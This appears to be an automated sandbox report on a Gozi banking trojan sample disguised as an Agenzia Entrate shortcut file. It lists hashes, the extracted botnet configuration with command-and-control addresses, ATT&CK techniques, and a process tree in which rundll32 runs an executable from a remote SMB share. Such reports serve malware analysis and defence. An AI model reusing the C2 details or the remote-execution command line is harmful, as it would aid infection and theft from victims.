gozi | 6e9f4d4c879eb99c4cd06121a3852ed5b2d1ee98a09095e0544a74c2b906c8be

Analysis

max time kernel
90s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
23-01-2023 08:58

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General

Target

Agenzia_Entrate/Agenzia_Entrate.url
Size

193B
MD5

2f51b9260df01427360ae67ed36605c8
SHA1

c6bc3f35cab979a419bb018bedf8cdda33293e11
SHA256

1733a69420c4f4c83afee2e9a4b09094e2358c33696c24cf30468991cb6da875
SHA512

d9619d3a9a07e25b57e374adf896a7b201bf2c8002a871438b6822c58545331179130b9709e6dedc8ce6ce188358906a9e5ffbfeee53f46dcc41f5b7d42a302e

Score

10^/10

gozi 7707 banker isfb trojan

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

7707

checklist.skype.com

62.173.149.10

31.41.44.27

193.0.178.235

Attributes

base_path
/drew/
build
250250
exe_type
loader
extension
.jlk
server_id
50

rsa_pubkey.plain

aes.plain

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4364 wrote to memory of 4768	4364	rundll32.exe	79
PID 4364 wrote to memory of 4768	4364	rundll32.exe	79
PID 4364 wrote to memory of 4768	4364	rundll32.exe	79

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Agenzia_Entrate\Agenzia_Entrate.url
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4364
- \??\UNC\46.8.210.28\Agenzia\scarica.exe
  "\\46.8.210.28\Agenzia\scarica.exe"
  2⤵
  PID:4768

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4768-133-0x00000000004FD000-0x0000000000513000-memory.dmp

Filesize
88KB

Download
memory/4768-134-0x0000000002190000-0x000000000219B000-memory.dmp

Filesize
44KB

Download
memory/4768-135-0x0000000000400000-0x000000000045A000-memory.dmp

Filesize
360KB

Download
memory/4768-136-0x0000000002300000-0x000000000230D000-memory.dmp

Filesize
52KB

Download
memory/4768-139-0x00000000004FD000-0x0000000000513000-memory.dmp

Filesize
88KB

Download
memory/4768-140-0x0000000000400000-0x000000000045A000-memory.dmp

Filesize
360KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads